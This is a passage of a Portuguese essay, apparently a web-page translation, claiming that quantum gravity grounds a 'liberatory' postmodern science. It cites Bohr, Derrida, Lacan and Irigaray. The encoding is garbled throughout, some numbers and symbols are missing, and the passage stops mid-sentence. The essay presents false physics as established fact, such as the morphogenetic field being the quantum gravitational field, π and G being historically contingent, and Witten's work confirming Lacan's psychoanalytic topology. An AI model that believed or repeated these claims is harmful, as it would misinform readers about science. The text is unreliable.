*� Stanley Aronowitz, Science as Power (1988b, 339)*

*E*xistem muitos cientistas naturais, especialmente f�sicos, que continuam a
rejeitar a no��o de que as disciplinas relacionadas com as cr�ticas social e
cultural podem ter algo a contribuir, exceto talvez perifericamente, com a
sua pesquisa. S�o ainda menos receptivos � id�ia de que a pr�pria base de
sua vis�o de mundo deve ser revisada ou reconstru�da � luz de tal cr�tica.
Em vez disso, se apegam ao dogma imposto pela longa hegemonia p�s-iluminista
sobre a �tica intelectual Ocidental, que pode ser resumida em poucas
palavras da seguinte maneira: que existe um mundo externo, cujas
propriedades s�o independentes de qualquer ser humano e mesmo da humanidade
como um todo; que estas propriedades est�o codificadas em leis f�sicas
"eternas"; e que seres humanos podem obter um conhecimento confi�vel -
embora imperfeito e provis�rio - destas leis seguindo os procedimentos
"objetivos" e as restri��es epistemol�gicas prescritas pelo (assim chamado)
m�todo cient�fico.

Por�m, profundas mudan�as conceituais na ci�ncia do s�culo XX corroeram esta
metaf�sica Cartesiana-Newtoniana
1<http://www.str.com.br/Scientia/transgredindo.htm#BM56>;
estudos de revis�o da hist�ria e da filosofia da ci�ncia puseram mais
d�vidas quanto � sua credibilidade
2<http://www.str.com.br/Scientia/transgredindo.htm#BM57>;
e, mais recentemente, cr�ticas feministas e p�s-estruturalistas
desmistificaram o conte�do real da corrente prevalecente da pr�tica
cient�fica Ocidental, revelando a ideologia de domina��o escondida por
detr�s da fachada de
"objetividade".3<http://www.str.com.br/Scientia/transgredindo.htm#BM59>Se
tornou ent�o cada vez mais claro que a "realidade" f�sica, n�o menos
do
que a "realidade" social, � no fundo uma constru��o social e ling��stica;
que o "conhecimento" cient�fico, longe de ser objetivo, reflete e codifica
ideologias dominantes e rela��es de poder da cultura que o produziu; que as
reivindica��es de verdade cient�ficas s�o intrinsecamente carregados de
teoria e auto-referenciais; e consequentemente, que o discurso da comunidade
cient�fica, apesar de todo seu ineg�vel valor, n�o pode afirmar um status
epistemol�gico privilegiado com respeito a narrativas n�o-hegem�nicas
emanadas de comunidades dissidentes e marginalizadas. Estes temas podem ser
encontrados, exceto por algumas diferen�as de �nfase, na an�lise de
Aronowitz sobre a estrutura cultural que produziu a mec�nica qu�ntica
4<http://www.str.com.br/Scientia/transgredindo.htm#BM60>;
na discuss�o de discursos opostos na ci�ncia p�s-qu�ntica de Ross
5<http://www.str.com.br/Scientia/transgredindo.htm#BM61>;
nas exegeses de codifica��o sexual na mec�nica de fluidos de Irigaray and
Hayles 6 <http://www.str.com.br/Scientia/transgredindo.htm#BM62>; e na
compreensiva cr�tica de ideologia sexual subjacente �s ci�ncias naturais em
geral e em particular � f�sica
7<http://www.str.com.br/Scientia/transgredindo.htm#BM63>
.

Meu objetivo aqui ser� levar estas an�lises profundas um passo adiante,
levando em conta desenvolvimentos recentes na gravidade qu�ntica: o ramo
emergente da f�sica no qual a mec�nica qu�ntica de Heisenberg e a
relatividade de Einstein s�o sintetizadas e superadas a um s� tempo. Na
gravidade qu�ntica , como veremos, a variedade de espa�o-tempo deixa de
existir como realidade f�sica objetiva; a geometria se torna relacional e
contextual; e as categorias conceituais de base da antiga ci�ncia - entre
elas, a pr�pria exist�ncia - se tornam problem�ticas e relativizadas. Esta
revolu��o conceitual, mostrarei, tem profundas implica��es no conte�do de
uma futura ci�ncia p�s-moderna e liberat�ria.

O m�todo que utilizarei ser� como segue: primeiro irei revisar brevemente
algumas das quest�es filos�ficas e ideol�gicas levantadas pela mec�nica
qu�ntica e pela relatividade geral cl�ssica. A seguir, tra�arei as linhas
gerais da emergente teoria da gravidade qu�ntica e discutirei algumas das
quest�es conceituais levantadas por esta teoria. Finalmente, irei comentar
as implica��es pol�ticas destes desenvolvimentos cient�ficos. Deve ser
enfatizado que este artigo � necessariamente incompleto e preliminar; n�o
pretendo responder a todas as quest�es que levantar. Meu objetivo �, de
fato, chamar a aten��o dos leitores a estes desenvolvimentos importantes na
ci�ncia f�sica, e delinear da melhor maneira que puder suas implica��es
filos�ficas e pol�ticas. Me esforcei por manter a matem�tica a um m�nimo;
mas tomei o cuidado de prover refer�ncias onde leitores interessados podem
encontrar todos os detalhes necess�rios.

*Mec�nica Qu�ntica: Incerteza, Complementaridade, Descontinuidade e
Interconex�o*

N�o � minha inten��o entrar aqui no debate extensivo a respeito dos
fundamentos conceituais da mec�nica
qu�ntica.9<http://www.str.com.br/Scientia/transgredindo.htm#BM1129>�
suficiente dizer que qualquer um que tenha estudado seriamente as
equa��es
da mec�nica qu�ntica ir� concordar com o resumo ponderado (perd�o pelo jogo
de palavras) de seu c�lebre *princ�pio da incerteza*:

N�o podemos mais falar do comportamento da part�cula independentemente do
processo de observa��o. Como conseq��ncia final, as leis naturais formuladas
matematicamente na teoria qu�ntica n�o lidam mais com as part�culas
elementares em si, mas com nosso conhecimento a seu respeito. Nem � mais
poss�vel responder se estas part�culas existem ou n�o no espa�o e no tempo
objetivamente...

Quando falamos da imagem da natureza na ci�ncia exata de nossa �poca, n�o
nos referimos a uma imagem da natureza mas uma *imagem de nossas rela��es
com a natureza*... A ci�ncia n�o mais encara a natureza como um observador
objetivo, mas v� a si pr�pria como parte desta intera��o entre o homem [sic]
e a natureza. O m�todo cient�fico de an�lise, explica��o e classifica��o se
tornou consciente de suas limita��es, que surgem do fato de que, pela sua
interven��o, a ci�ncia altera e reformula o objeto de investiga��o. Em
outras palavras, m�todo e objeto n�o podem mais ser
separados.9<http://www.str.com.br/Scientia/transgredindo.htm#BM73>
10 <http://www.str.com.br/Scientia/transgredindo.htm#BM1130>

Nessa mesma linha, Niels Bohr escreveu:

Uma realidade independente no sentido f�sico comum n�o pode... nem ser
atribu�do aos fen�menos nem ao meio de observa��o.
11<http://www.str.com.br/Scientia/transgredindo.htm#BM78>

Stanley Aronowitz esbo�ou de forma convincente sua vis�o de mundo em rela��o
� crise da hegemonia liberal na Europa Central nos anos anteriores e
subsequentes � Primeira Guerra
Mundial.12<http://www.str.com.br/Scientia/transgredindo.htm#BM80>
13 <http://www.str.com.br/Scientia/transgredindo.htm#BM81>

Um segundo aspecto importante da mec�nica qu�ntica � seu princ�pio de *
complementaridade* ou *dialeticismo*. A luz � uma part�cula ou uma onda? A
complementaridade "� a compreens�o de que os comportamentos de part�cula e
de onda s�o mutuamente excludentes, e apesar disso necess�rios para uma
descri��o completa de todos os fen�menos."
14<http://www.str.com.br/Scientia/transgredindo.htm#BM1131>De maneira
mais geral, Heisenberg escreve:

Os diferentes quadros intuitivos que usamos para descrever sistemas
at�micos, apesar de totalmente adequados para determinados experimentos, s�o
ainda assim mutuamente excludentes. Portanto, por exemplo, o �tomo de Bohr
pode ser descrito como um sistema planet�rio em pequena escala, tendo um
n�cleo at�mico central em torno do qual el�trons externos orbitam. Para
outros experimentos, entretanto, pode ser mais conveniente imaginar que o
n�cleo at�mico � circundado por um sistema de ondas estacion�rias cuja
freq��ncia � caracter�stica da radia��o emanada pelo �tomo. Finalmente,
podemos considerar o �tomo quimicamente... Cada imagem � leg�tima quando
usada no lugar certo, mas as diferentes imagens s�o contradit�rias e
portanto as chamamos mutuamente
complementares.15<http://www.str.com.br/Scientia/transgredindo.htm#BM89>

E Bohr novamente:

Uma elucida��o completa de um mesmo e s� objeto pode requerer diversos
pontos de vista que desafiem uma �nica descri��o. Na verdade, estritamente
falando, a an�lise consciente de qualquer conceito se situa numa rela��o de
exclus�o com sua aplica��o
imediata.16<http://www.str.com.br/Scientia/transgredindo.htm#BM1132>

Este press�gio da epistemologia p�s-moderna n�o �, de forma alguma,
coincid�ncia. As conex�es profundas entre complementaridade e desconstru��o
foram recentemente elucidadas por Froula
17<http://www.str.com.br/Scientia/transgredindo.htm#BM95>e Honner
18 <http://www.str.com.br/Scientia/transgredindo.htm#BM96>, e, em
profundidade, por
Plotnitsky.19<http://www.str.com.br/Scientia/transgredindo.htm#BM97>
20 <http://www.str.com.br/Scientia/transgredindo.htm#BM1133>
21<http://www.str.com.br/Scientia/transgredindo.htm#BM1134>

Um terceiro aspecto da f�sica qu�ntica � a *descontinuidade* ou *ruptura*:
como explicou Bohr,

[a] ess�ncia [da teoria qu�ntica] pode ser expressa no assim chamado
postulado qu�ntico, que atribui a qualquer processo f�sico uma
descontinuidade - ou individualidade - essencial, completamente estranha �s
teorias cl�ssicas e simbolizada pelo quantum de a��o de
Planck.22<http://www.str.com.br/Scientia/transgredindo.htm#BM1135>

Meio s�culo depois, a express�o "salto qu�ntico" entrou de tal forma no
nosso vocabul�rio do dia-a-dia que provavelmente a usamos sem qualquer
consci�ncia de suas origens na teoria f�sica.

Finalmente, o teorema de Bell
23<http://www.str.com.br/Scientia/transgredindo.htm#BM1136>e suas
recentes geraliza��es
24 <http://www.str.com.br/Scientia/transgredindo.htm#BM1137> mostram que um
ato de observa��o aqui e agora pode afetar n�o somente o objeto sendo
observado - como disse Heisenberg - mas tamb�m um objeto *arbitrariamente
distante* (digamos, na gal�xia de Andr�meda). Este fen�meno - que Einstein
chamou "fantasmag�rico"- imp�es uma reavalia��o radical dos conceitos
mecanicistas tradicionais de espa�o, objeto e causalidade
25<http://www.str.com.br/Scientia/transgredindo.htm#BM1138>,
e sugere um ponto de vista alternativo no qual o universo � caracterizado
por interconex�o e holismo: o que o f�sico David Bohm chamou "ordem
impl�cita".26 <http://www.str.com.br/Scientia/transgredindo.htm#BM125>Interpreta��es
Nova Era destas id�ias da f�sica qu�ntica freq�entemente
levaram a especula��es extremas injustificadas, mas a solidez deste
argumento � ineg�vel.27<http://www.str.com.br/Scientia/transgredindo.htm#BM126>Nas
palavras de Bohr, "a descoberta de Planck do quantum elementar de
a��o... revelou uma caracter�stica de *holismo* inerente na f�sica at�mica,
indo muito al�m da id�ia antiquada da divisibilidade limitada da mat�ria."
28 <http://www.str.com.br/Scientia/transgredindo.htm#BM131>

*Hermen�utica da Relatividade Geral Cl�ssica*

No ponto de vista mecanicista Newtoniano, espa�o e tempo s�o distintos e
absolutos.29 <http://www.str.com.br/Scientia/transgredindo.htm#BM133> Na
teoria especial da relatividade de Einstein (1905), a distin��o entre o
espa�o e o tempo se dissolve: existe apenas uma nova unidade, o espa�o-tempo
quadridimensional, e a percep��o do observador de "espa�o" e "tempo" depende
do seu estado de
movimento.30<http://www.str.com.br/Scientia/transgredindo.htm#BM1139>Nas
famosas palavras de Hermann Minkowski (1908):

Daqui para a frente o espa�o em si, e o tempo em si, est�o condenados a
desvanecer em meras sombras, e somente um tipo de uni�o entre os dois ir�
preservar uma realidade
independente.31<http://www.str.com.br/Scientia/transgredindo.htm#BM1140>

Todavia, a geometria b�sica do espa�o-tempo Minkowskiano permanece absoluta.
32 <http://www.str.com.br/Scientia/transgredindo.htm#BM1141>

� na teoria da relatividade geral de Einstein (1915) que ocorre o rompimento
conceitual radical: a geometria do espa�o-tempo se torna contingente e
din�mica, codificando em si mesma o campo gravitacional. Matematicamente,
Einstein rompe com a tradi��o que remonta a Euclides (e que � infligida a
estudantes de segundo grau at� hoje!), e emprega em seu lugar a geometria
n�o-euclidiana desenvolvida por Riemann. As equa��es de Einstein s�o
fortemente n�o-lineares, motivo pelo qual os matem�ticos de forma��o
tradicional as acham t�o dif�ceis de
resolver.33<http://www.str.com.br/Scientia/transgredindo.htm#BM150>A
teoria gravitacional de Newton corresponde a um grosseiro (e
conceitualmente err�neo) truncamento das equa��es de Einstein nas quais a
n�o-linearidade � simplesmente ignorada. A relatividade geral de Einstein,
portanto, inclui todos os supostos sucessos da teoria de Newton, e ainda vai
al�m de Newton para predizer fen�menos radicalmente novos que surgem
diretamente da n�o-linearidade: o desvio da luz das estrelas pelo sol, a
precess�o do peri�lio de Merc�rio, e o colapso gravitacional de estrelas
para buracos negros.

A relatividade geral � t�o estranha que algumas de suas conseq��ncias -
deduzidas por uma matem�tica impec�vel, e progressivamente confirmadas pela
observa��o astrof�sica - soam como fic��o cient�fica. Buracos negros s�o
agora bem conhecidos, e buracos de minhoca est�o come�ando a ganhar espa�o.
Talvez menos familiar seja a constru��o de G�del de um espa�o-tempo de
Einstein admitindo curvas fechadas do tipo tempo: ou seja, um universo no
qual se � poss�vel viajar *para o pr�prio passado*!
34<http://www.str.com.br/Scientia/transgredindo.htm#BM153>

Desta maneira, a relatividade geral nos imp�e no��es radicalmente novas e
contra-intuitivas de espa�o, tempo e causalidade
35<http://www.str.com.br/Scientia/transgredindo.htm#BM1142> 36
<http://www.str.com.br/Scientia/transgredindo.htm#BM1143>
37<http://www.str.com.br/Scientia/transgredindo.htm#BM1144>
38 <http://www.str.com.br/Scientia/transgredindo.htm#BM173>; portanto, n�o �
surpreendente seu profundo impacto n�o somente nas ci�ncias naturais mas
tamb�m na filosofia, na cr�tica liter�ria, e nas ci�ncias humanas. Por
exemplo, em um famoso simp�sio tr�s d�cadas atr�s com o tema *Les Langages
Critiques et les Sciences de l?Homme*, Jean Hyppolite levantou uma quest�o
incisiva sobre a teoria da estrutura e do sinal no discurso cient�fico de
Jacques Derrida:

Quando considero, por exemplo, a estrutura de certas constru��es alg�bricas
[ensembles], onde est� o centro? Ser� o centro o conhecimento das regras
gerais que, ap�s uma modelagem, nos permite entender a intera��o dos
elementos? Ou ser� o centro cersos elementos que gozam de um privil�gio
particular dentro do ensemble? ... Com Einstein, por exemplo, vemos o fim de
um tipo de privil�gio da evid�ncia emp�rica. E nesta conex�o vemos uma
constante aparecer, uma constante que � uma combina��o de espa�o-tempo, que
n�o pertence a quaisquer dos experimentadores que vivem a experi�ncia, mas
que, de alguma forma, domina toda a constru��o; e esta no��o da constante -
ser� isso o centro?39<http://www.str.com.br/Scientia/transgredindo.htm#BM177>

A resposta perspicaz de Derrida atingiu o cora��o da relatividade geral
cl�ssica:

A constante de Einstein n�o � uma constante, n�o � um centro. � o pr�prio
conceito de variabilidade - �, afinal, o conceito do jogo. Em outras
palavras, n�o � o conceito de alguma *coisa* - de um centro a partir do qual
um observador poderia controlar o campo - mas o pr�prio conceito do jogo...
40 <http://www.str.com.br/Scientia/transgredindo.htm#BM1145>

Em termos matem�ticos, a observa��o de Derrida est� relacionada �
invari�ncia da equa��o de campo de Einstein sob difeomorfismos espa�o-tempo
n�o-lineares (auto-aplica��es da variedade de espa�o-tempo que s�o
infinitamente diferenci�veis mas n�o necessariamente anal�ticas). O ponto
chave � que este grupo de invari�ncia "atua transitivamente": isto significa
que qualquer ponto do espa�o-tempo, se existir, pode ser transformado em
qualquer outro. Desta forma o grupo de invari�ncia de infinitas dimens�es
erode a distin��o entre observador e observado; o p de Euclides e o *G* de
Newton, antes supostos constantes e universais, s�o agora percebidos em sua
inelut�vel historicidade; e o observador suposto observador se torna
fatalmente descentralizado, desconectado de qualquer v�nculo epist�mico com
um ponto do espa�o-tempo que n�o pode ser mais definido somente pela
geometria.

*Gravidade Qu�ntica: Corda, Entrela�amento ou Campo Morfogen�tico?*

Entretanto, esta interpreta��o, enquanto adequada dentro da relatividade
geral cl�ssica, se torna incompleta dentro da vis�o p�s-moderna emergente da
gravidade qu�ntica. Quando at� mesmo o campo gravitacional - geometria
personificada - se torna um operador n�o-comutativo (e portanto n�o-linear),
como � poss�vel sustentar a interpreta��o cl�ssica de como uma entidade
geom�trica? N�o somente o observador, mas o pr�prio conceito da geometria,
se torna relacional e contextual.

A s�ntese da teoria qu�ntica e da relatividade geral � portanto o principal
problema n�o resolvido da f�sica te�rica
41<http://www.str.com.br/Scientia/transgredindo.htm#BM1146>;
ningu�m hoje em dia pode predizer com confian�a qual ser� a linguagem e a
ontologia, muito menos o conceito, desta s�ntese, quando e se ela chegar. �,
entretanto, �til examinar historicamente as met�foras e imagens que os
f�sicos te�ricos t�m empregado em suas tentativas de entender a gravidade
qu�ntica.

As primeiras tentativas - datando do in�cio dos anos 1960 - de visualizar a
geometria na escala de Planck (cerca de cent�metros) a retrata como uma
"espuma de espa�o-tempo": bolhas de curvatura de espa�o-tempo,
compartilhando uma topologia de interconex�es complexa e em constante
transforma��o. 42
<http://www.str.com.br/Scientia/transgredindo.htm#BM203>Mas os f�sicos
n�o foram capazes de levar adiante esta abordagem, talvez
devido ao desenvolvimento inadequado � �poca da topologia e da teoria das
variedades (ver abaixo).

Nos anos 70 os f�sicos tentaram uma abordagem ainda mais convencional:
simplificar as equa��es de Einstein com a alega��o de que elas s�o *quase
lineares*, e ent�o aplicar os m�todos padr�o da teoria qu�ntica de campos
para as ent�o simplificadas equa��es. Mas tamb�m este m�todo falhou: viu-se
que a relatividade geral de Einstein �, em linguagem t�cnica,
"perturbativamente
n�o-renormaliz�vel".43<http://www.str.com.br/Scientia/transgredindo.htm#BM206>Isso
significa que as fortes n�o-linearidades da relatividade geral de
Einstein s�o intr�nsecas � teoria; qualquer tentativa de assumir que as
n�o-linearidades s�o fracas � simplesmente auto-contradit�ria. (Isto n�o �
surpreendente: a aproxima��o quase-linear destr�i os aspectos mais
caracter�sticos da relatividade geral, tais como os buracos negros).

Nos anos 80 uma abordagem bastante diferente, conhecida como teoria das
cordas, se tornou popular: aqui os constituintes fundamentais da mat�ria n�o
s�o part�culas puntuais, mas min�sculas (da escala de Planck) cordas,
fechadas e abertas.
44<http://www.str.com.br/Scientia/transgredindo.htm#BM207>Nesta
teoria, a variedade de espa�o-tempo n�o existe como uma realidade
f�sica objetiva; o espa�o-tempo � um conceito derivado, uma aproxima��o
v�lida somente em grandes escalas de comprimento (onde "grande" significa
"muito maior do que cent�metros"!). Durante algum tempo muitos entusiastas
da teoria das cordas pensaram estar se aproximando de uma Teoria do Tudo - a
mod�stia n�o � uma de suas virtudes - e alguns ainda pensam assim. Mas as
dificuldades matem�ticas na teoria das cordas s�o terr�veis, e n�o est� nem
um pouco claro se eles ser�o resolvidos num futuro pr�ximo.

Mais recentemente, um pequeno grupo de f�sicos retornou �s n�o-linearidades
completas da relatividade geral de Einstein, e - usando um novo simbolismo
inventado por Abhay Ashtekar - tentaram visualizar a estrutura da
correspondente teoria qu�ntica.
45<http://www.str.com.br/Scientia/transgredindo.htm#BM209>A imagem que
obtiveram � intrigante: Como na teoria das cordas, a variedade
de espa�o-tempo � somente uma aproxima��o v�lida a grandes dist�ncias, n�o
uma realidade objetiva. A pequenas (escala de Planck) dist�ncias, a
geometria do espa�o-tempo � um *entrela�amento*: uma complexa interconex�o
de fios.

Finalmente, uma proposta excitante tem tomado forma nos �ltimos anos nas
m�os de uma colabora��o interdisciplinar de matem�ticos, astrof�sicos e
bi�logos: � a teoria do campo morfogen�tico.
46<http://www.str.com.br/Scientia/transgredindo.htm#BM212>Desde meados
dos anos 1980, t�m-se acumulado evid�ncias de que este campo,
primeiramente conceitualizado por bi�logos evolucionistas
47<http://www.str.com.br/Scientia/transgredindo.htm#BM1149>,
est� de fato intimamente ligado ao campo *gravitacional* qu�ntico
48<http://www.str.com.br/Scientia/transgredindo.htm#BM217>:
(a) permeia todo o espa�o; (b) interage com toda mat�ria e energia, n�o
importando se a mat�ria/energia � carregada magneticamente ou n�o; e, mais
significativamente, (c) � aquilo que chamamos, matematicamente, um "tensor
sim�trico de segunda ordem". Todas essas tr�s propriedades s�o
caracter�sticas da gravidade; e foi provado h� alguns anos que a �nica
teoria n�o-linear auto-consistente de um tensor sim�trico de segunda ordem
�, pelo menos a baixas energias, precisamente a relatividade geral de
Einstein. 49 <http://www.str.com.br/Scientia/transgredindo.htm#BM220> Sendo
assim, se a evid�ncia para (a), (b) e (c) se mant�m, podemos inferir que o
campo morfogen�tico � o equivalente qu�ntico do campo gravitacional de
Einstein. At� recentemente esta teoria foi ignorada, ou mesmo desprezada,
pela classe dirigente dos f�sicos de altas energias, que tradicionalmente se
ressente com a invas�o dos bi�logos (para n�o dizer humanistas) em seu
"territ�rio".50
<http://www.str.com.br/Scientia/transgredindo.htm#BM221>Entretanto,
alguns f�sicos te�ricos come�aram recentemente a dar alguma
aten��o a esta teoria, e existem boas possibilidades de progresso no futuro
pr�ximo.51 <http://www.str.com.br/Scientia/transgredindo.htm#BM1150>

Ainda � muito cedo para dizer se a teoria das cordas, entrela�amento do
espa�o-tempo ou campo morfogen�tico ser�o confirmados no laborat�rio: os
experimentos n�o s�o f�ceis de realizar. Mas � intrigante que todas as tr�s
teorias tenham caracter�sticas conceituais similares: forte n�o-linearidade,
espa�o-tempo subjetivo, fluxo inexor�vel, e uma �nfase na topologia da
interconectividade.

*Topologia Diferencial e Homologia*

Desconhecida para a maior parte dos n�o-especialistas, a f�sica te�rica
experimentou uma transforma��o significativa - embora n�o ainda uma
verdadeira mudan�a Kuhniana de paradigma - nos anos 1970 e 80: as
ferramentas tradicionais da f�sica matem�tica (an�lise real e complexa), que
lidam com a variedade de espa�o-tempo apenas localmente, foram suplementadas
por m�todos topol�gicos (mais precisamente, m�todos da topologia diferencial
52 <http://www.str.com.br/Scientia/transgredindo.htm#BM233>) que levam em
conta a estrutura global (hol�stica) do universo. Esta tend�ncia foi
observada nas an�lises de anomalias em teorias de calibre
53<http://www.str.com.br/Scientia/transgredindo.htm#BM1151>;
na teoria das transi��es de fase mediadas por v�rtices
54<http://www.str.com.br/Scientia/transgredindo.htm#BM1152>;
e nas teorias de cordas e
supercordas.55<http://www.str.com.br/Scientia/transgredindo.htm#BM237>Numerosos
livros e artigos de revis�o sobre "topologia para f�sicos" foram
publicados durante estes anos.
56<http://www.str.com.br/Scientia/transgredindo.htm#BM238>

Aproximadamente na mesma �poca, nas ci�ncias sociais e psicol�gicas, Jacques
Lacan apontou o papel chave representado pela topologia diferencial:

Este diagrama [a fita de M�bius] pode ser considerada a base de uma esp�cie
de inscri��o essencial na origem, no n� que constitui o sujeito. Isto vai
muito al�m do que voc� pode pensar no in�cio, porque voc� pode procurar pelo
tipo de superf�cie capaz de receber tais inscri��es. Voc� pode talvez ver
que a esfera, aquele velho s�mbolo para a totalidade, � inapropriado. Um
toro, uma garrafa de Klein, uma superf�cie *cross-cut*, s�o capazes de
receber tal corte. E esta diversidade � muito importante, pois explica
muitas coisas sobre a estrutura da doen�a mental. Se for poss�vel simbolizar
o sujeito por este corte fundamental, da mesma maneira pode-se mostrar que
um corte em um toro corresponde ao sujeito neur�tico, e em uma superf�cie de
corte cruzado a outro tipo de doen�a
mental.57<http://www.str.com.br/Scientia/transgredindo.htm#BM1153>
58 <http://www.str.com.br/Scientia/transgredindo.htm#BM242>

Como Althusser corretamente comentou, "Lacan d� finalmente ao pensamento de
Freud os conceitos cient�ficos dos quais
necessita".59<http://www.str.com.br/Scientia/transgredindo.htm#BM1154>Mais
recentemente, a
*topologie du sujet* de Lacan foi aplicada com resultados frut�feros �
cr�tica cinematogr�fica
60<http://www.str.com.br/Scientia/transgredindo.htm#BM249>e �
psican�lise da AIDS
61 <http://www.str.com.br/Scientia/transgredindo.htm#BM250> Em termos
matem�ticos, Lacan est� demonstrando aqui que o primeiro grupo de homologia 62
<http://www.str.com.br/Scientia/transgredindo.htm#BM1155>da esfera �
trivial, enquanto os das outras superf�cies s�o profundos; e esta homologia
est� ligada � conectividade ou desconectividade da superf�cie ap�s um ou
mais cortes.63 <http://www.str.com.br/Scientia/transgredindo.htm#BM1156>Al�m
disso, como Lacan suspeitou, existe uma conex�o �ntima entre a
estrutura externa do mundo f�sico e sua representa��o psicol�gica interna
como teoria dos n�s: esta hip�tese foi recentemente confirmada pela
deriva��o de Witten dos invariantes dos n�s (em particular o polin�mio de
Jones 64 <http://www.str.com.br/Scientia/transgredindo.htm#BM257>) a partir
da teoria qu�ntica de campos de
Chern-Simons.65<http://www.str.com.br/Scientia/transgredindo.htm#BM258>

Estruturas topol�gicas an�logas surgem na gravidade qu�ntica, mas devido ao
fato de as variedades envolvidas serem muitidimensionais em lugar de
bidimensionais, grupos de homologia superiores cumprem tamb�m um papel.
Estas variedades muitidimensionais n�o s�o mais poss�veis de visualizar em
um espa�o Cartesiano tridimensional: por exemplo, o espa�o projetivo , que
surge da 3-esfera ordin�ria pela identifica��o dos ant�podas, iria
necessitar um espa�o Euclidiano de imers�o de dimens�o pelo menos igual a 5.
66 <http://www.str.com.br/Scientia/transgredindo.htm#BM1200> Entretanto, os
grupos superiores de homologia podem ser percebidos, pelo menos
aproximadamente, por meio de uma l�gica adequada multidimensional
(n�o-linear).67
<http://www.str.com.br/Scientia/transgredindo.htm#BM262>
68<http://www.str.com.br/Scientia/transgredindo.htm#BM263>

*Teoria das Variedades: Conjuntos e Fronteiras*

Luce Irigaray, em seu famoso artigo "O Sujeito da Ci�ncia � Sexuado?",
ressaltou que

as ci�ncias matem�ticas, na teoria dos conjuntos [*th�orie des ensembles*],
dizem respeito a espa�os abertos e fechados... Dizem muito pouco respeito �
quest�o dos parcialmente abertos, a conjuntos que n�o s�o claramente
delineados [*ensembles flous*], a qualquer an�lise do problema das
fronteiras [*bords*]...69<http://www.str.com.br/Scientia/transgredindo.htm#BM1158>

Em 1982, quando o ensaio de Irigaray apareceu, foi uma cr�tica incisiva: a
topologia diferencial tem tradicionalmente privilegiado o estudo daquelas
que s�o conhecidas tecnicamente como "variedades sem fronteiras".
Entretanto, na d�cada passada, sob o �mpeto da cr�tica feminista, alguns
matem�ticos t�m dado renovada aten��o � teoria das "variedades com
fronteiras" [do franc�s *vari�t�s �
bord*].70<http://www.str.com.br/Scientia/transgredindo.htm#BM281>Talvez
n�o por coincid�ncia, s�o precisamente estas variedades que surgem na
nova f�sica da teorias de campos conformes, supercordas e gravidade
qu�ntica.

Na teoria das cordas, a amplitude qu�ntica para a intera��o de *n* cordas
fechadas ou abertas � representada por uma integral funcional (basicamente,
uma soma) sobre campos pertencentes a uma variedade bidimensional com
fronteira.71 <http://www.str.com.br/Scientia/transgredindo.htm#BM282> Na
gravidade qu�ntica, podemos esperar que uma representa��o similar ser�
mantida, exceto que a variedade bidimensional com fronteira ser� substitu�da
por uma multidimensional. Infelizmente, a multidimensionalidade vai de
encontro com o pensamento matem�tico linear convencional, e apesar de uma
recente abertura de atitudes (notavelmente associadas com o estudo de
fen�menos n�o lineares muitidimensionais na teoria do caos), a teoria das
variedades multidimensionais com fronteiras permanece um tanto
subdesenvolvida. Contudo, o trabalho de f�sicos na abordagem integral
funcional da gravidade qu�ntica prossegue velozmente
72<http://www.str.com.br/Scientia/transgredindo.htm#BM283>,
e provavelmente este trabalho estimular� a aten��o dos
matem�ticos.73<http://www.str.com.br/Scientia/transgredindo.htm#BM284>

Como Irigaray antecipou, uma importante quest�o em todas estas teorias �:
Pode a fronteira ser transgredida (cruzada), e, nesse caso, o que acontece?
Tecnicamente isso � conhecido como o problema das "condi��es de fronteira".
Em um n�vel puramente matem�tico, o aspecto mais saliente das condi��es de
fronteira � a grande diversidade de possibilidades: por exemplo, "c. f.
livre" (nenhum obst�culo para cruzar), "c. f. reflexiva" (reflex�o especular
como em um espelho), "c. f. peri�dica" (reentrada em outra parte da
variedade), e "c. f. anti-peri�dica" (reentrada com rota��o de ). A quest�o
colocada pelos f�sicos �: De todas estas condi��es de fronteira conceb�veis,
quais realmente ocorrem na representa��o da gravidade qu�ntica? Ou talvez, *
todas* elas ocorrem simultaneamente e p� de igualdade, como sugerido pelo
princ�pio de complementaridade?
74<http://www.str.com.br/Scientia/transgredindo.htm#BM287>

Neste ponto meu resumo dos desenvolvimentos da f�sica deve parar, pela
simples raz�o de que as respostas a estas quest�es - se realmente elas
tiverem respostas un�vocas - n�o s�o ainda conhecidas. No resto deste
ensaio, proponho tomar como ponto de partida aqueles pontos da teoria da
gravidade qu�ntica que *s�o* relativamente bem estabelecidos (pelo menos
pelos padr�es da ci�ncia convencional), e tentar tra�ar suas implica��es
filos�ficas e pol�ticas.

*Transgredindo as Fronteiras: Em Dire��o a uma Ci�ncia Liberat�ria*

Ao longo das �ltimas duas d�cadas tem tido lugar extensiva discuss�o entre
cr�ticos te�ricos em rela��o �s caracter�sticas da cultura moderna contra a
p�s-moderna; e em anos recentes estes di�logos come�aram a devotar aten��o
detalhada aos problemas espec�ficos propostos pelas ci�ncias naturais.
75<http://www.str.com.br/Scientia/transgredindo.htm#BM291>Em
particular, Madsen e Madsen deram recentemente um resumo muito claro
das
caracter�sticas da ci�ncia moderna *versus* p�s-moderna. Eles postulam dois
crit�rios para uma ci�ncia p�s-moderna:

Um crit�rio simples para que uma ci�ncia se qualifique como p�s-moderna �
estar livre de qualquer depend�ncia do conceito de verdade objetiva. Por
este crit�rio, por exemplo, a interpreta��o da complementaridade da f�sica
qu�ntica por Niels Bohr e a escola de Copenhagem � vista como
p�s-moderna.76<http://www.str.com.br/Scientia/transgredindo.htm#BM1159>

Claramente, a gravidade qu�ntica �, nesse sentido, uma ci�ncia p�s-moderna
arquet�pica. Em segundo lugar:

O outro conceito que pode ser tomado como fundamental para a ci�ncia
pos-moderna � o da *essencialidade*. Teorias cient�ficas p�s-modernas s�o
constru�das a partir daqueles elementos te�ricos que s�o essenciais para a
consist�ncia e utilidade da teoria.
77<http://www.str.com.br/Scientia/transgredindo.htm#BM303>

Assim, quantidades ou objetos que s�o em princ�pio inobserv�veis - tais como
pontos no espa�o-tempo, posi��es exatas de part�culas, ou quarks e gl�ons -
n�o devem ser introduzidos na teoria.
78<http://www.str.com.br/Scientia/transgredindo.htm#BM1160>Enquanto
muito da f�sica moderna � exclu�do por este crit�rio, a gravidade
qu�ntica novamente se qualifica: na passagem da relatividade geral cl�ssica
para a teoria quantizada, pontos do espa�o-tempo (e na verdade a pr�pria
variedade de espa�o-tempo) desapareceram da teoria.

Entretanto, estes crit�rios, apesar de admir�veis, s�o insuficientes para
uma ci�ncia p�s-moderna *liberat�ria*: eles liberam os seres humanos da
tirania da "verdade absoluta" e da "realidade objetiva", mas n�o
necessariamente da tirania de outros seres humanos. Nas palavras de Andrew
Ross, precisamos de uma ci�ncia "que ser� publicamente respons�vel e de
algum servi�o para interesses
